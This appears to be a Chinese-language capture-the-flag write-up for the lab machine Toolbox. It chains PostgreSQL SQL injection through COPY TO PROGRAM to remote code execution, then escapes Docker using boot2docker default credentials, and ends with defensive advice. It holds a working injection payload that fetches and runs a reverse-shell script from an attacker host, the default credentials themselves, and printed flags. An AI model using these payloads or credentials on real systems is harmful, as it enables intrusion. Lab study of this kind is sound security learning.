[Meachines] [Easy] Toolbox PostgreSQLI-RCE+Docker逃逸boot2docker权限提升
字数 1343 2025-08-29 08:30:24

PostgreSQL注入RCE与Docker逃逸权限提升实战

1. 信息收集阶段

1.1 初始扫描

使用以下命令进行初始扫描:

ip='10.10.10.236'; itf='tun0'; 
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then 
    echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; 
    ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); 
    if [ -n "$ports" ]; then 
        echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; 
        nmap -Pn -sV -sC -p "$ports" "$ip"; 
    else 
        echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; 
    fi; 
else 
    echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; 
fi

1.2 发现的服务

扫描结果显示了以下开放端口和服务:

  • 21/tcp: FileZilla ftpd (允许匿名登录)
  • 22/tcp: OpenSSH for Windows 7.7
  • 135/tcp: Microsoft Windows RPC
  • 139/tcp: Microsoft Windows netbios-ssn
  • 443/tcp: Apache httpd 2.4.38 (Debian)
    • SSL证书信息显示域名为admin.megalogistic.com
  • 445/tcp: microsoft-ds
  • 5985/tcp: Microsoft HTTPAPI httpd 2.0
  • 47001/tcp: Microsoft HTTPAPI httpd 2.0
  • 49664-49669/tcp: Microsoft Windows RPC

2. Web应用测试

2.1 添加hosts记录

echo '10.10.10.236 megalogistic.com admin.megalogistic.com' >> /etc/hosts

2.2 访问Web应用

  • 主站点: https://megalogistic.com/
  • 管理后台: https://admin.megalogistic.com/

2.3 发现SQL注入漏洞

通过分析登录请求,发现username参数存在注入点:

POST / HTTP/1.1
Host: admin.megalogistic.com
[...]
username=admin'&password=1

3. PostgreSQL注入利用

3.1 使用sqlmap确认注入

python3 /opt/sqlmap/sqlmap.py -u http://admin.megalogistic.com --batch --force-ssl --dbms=PostgreSQL -X POST --data 'username=admin&password=11111'

3.2 PostgreSQL命令执行

利用COPY TO PROGRAM功能实现RCE:

POST / HTTP/1.1
Host: admin.megalogistic.com
[...]
username=';COPY+(SELECT+'test')+TO+PROGRAM+'curl+10.10.16.33/reverse.sh|bash';--+-&password=1

这个payload会执行以下操作:

  1. 使用COPY TO PROGRAM功能执行系统命令
  2. 从攻击者服务器(10.10.16.33)下载reverse.sh脚本
  3. 通过管道传递给bash执行

4. 初始访问

成功执行RCE后获取user flag:

f0183e44378ea9774433e2ca6ac78c6a

5. 权限提升:Docker逃逸

5.1 识别Docker环境

uname -a

5.2 获取交互式shell

SHELL=/bin/bash script -q /dev/null

5.3 利用boot2docker特性

在Docker容器内发现可以访问宿主机SSH服务:

postgres@bc56e3cc55e9:/tmp$ ssh docker@172.17.0.1

5.4 获取root flag

docker@box:~$ cat /c/Users/Administrator/Desktop/root.txt
cc9a0b76ac17f8f475250738b96261b3

6. 关键知识点总结

  1. PostgreSQL注入:

    • 使用COPY TO PROGRAM功能实现RCE
    • 这是PostgreSQL 9.3+版本特有的功能
    • 需要数据库用户有足够权限(通常超级用户才有此权限)
  2. Docker逃逸:

    • boot2docker默认配置问题
    • 容器内可以访问宿主机的SSH服务(172.17.0.1)
    • 默认凭证(docker/tcuser)允许访问
  3. Windows Docker环境特性:

    • boot2docker是Windows上运行Docker的传统方式
    • 文件系统路径映射特殊(/c/对应C盘)

7. 防御建议

  1. 防止SQL注入:

    • 使用参数化查询
    • 最小权限原则,限制数据库用户权限
    • 禁用COPY TO PROGRAM功能(需要PostgreSQL配置)
  2. Docker安全加固:

    • 避免使用默认凭证
    • 限制容器内网络访问
    • 定期更新Docker环境
    • 使用用户命名空间隔离
  3. Web应用安全:

    • 实施严格的输入验证
    • 使用WAF防护常见攻击
    • 定期安全审计和渗透测试
PostgreSQL注入RCE与Docker逃逸权限提升实战 1. 信息收集阶段 1.1 初始扫描 使用以下命令进行初始扫描: 1.2 发现的服务 扫描结果显示了以下开放端口和服务: 21/tcp : FileZilla ftpd (允许匿名登录) 22/tcp : OpenSSH for Windows 7.7 135/tcp : Microsoft Windows RPC 139/tcp : Microsoft Windows netbios-ssn 443/tcp : Apache httpd 2.4.38 (Debian) SSL证书信息显示域名为admin.megalogistic.com 445/tcp : microsoft-ds 5985/tcp : Microsoft HTTPAPI httpd 2.0 47001/tcp : Microsoft HTTPAPI httpd 2.0 49664-49669/tcp : Microsoft Windows RPC 2. Web应用测试 2.1 添加hosts记录 2.2 访问Web应用 主站点: https://megalogistic.com/ 管理后台: https://admin.megalogistic.com/ 2.3 发现SQL注入漏洞 通过分析登录请求,发现username参数存在注入点: 3. PostgreSQL注入利用 3.1 使用sqlmap确认注入 3.2 PostgreSQL命令执行 利用COPY TO PROGRAM功能实现RCE: 这个payload会执行以下操作: 使用COPY TO PROGRAM功能执行系统命令 从攻击者服务器(10.10.16.33)下载reverse.sh脚本 通过管道传递给bash执行 4. 初始访问 成功执行RCE后获取user flag: 5. 权限提升:Docker逃逸 5.1 识别Docker环境 5.2 获取交互式shell 5.3 利用boot2docker特性 在Docker容器内发现可以访问宿主机SSH服务: 5.4 获取root flag 6. 关键知识点总结 PostgreSQL注入 : 使用COPY TO PROGRAM功能实现RCE 这是PostgreSQL 9.3+版本特有的功能 需要数据库用户有足够权限(通常超级用户才有此权限) Docker逃逸 : boot2docker默认配置问题 容器内可以访问宿主机的SSH服务(172.17.0.1) 默认凭证(docker/tcuser)允许访问 Windows Docker环境特性 : boot2docker是Windows上运行Docker的传统方式 文件系统路径映射特殊(/c/对应C盘) 7. 防御建议 防止SQL注入 : 使用参数化查询 最小权限原则,限制数据库用户权限 禁用COPY TO PROGRAM功能(需要PostgreSQL配置) Docker安全加固 : 避免使用默认凭证 限制容器内网络访问 定期更新Docker环境 使用用户命名空间隔离 Web应用安全 : 实施严格的输入验证 使用WAF防护常见攻击 定期安全审计和渗透测试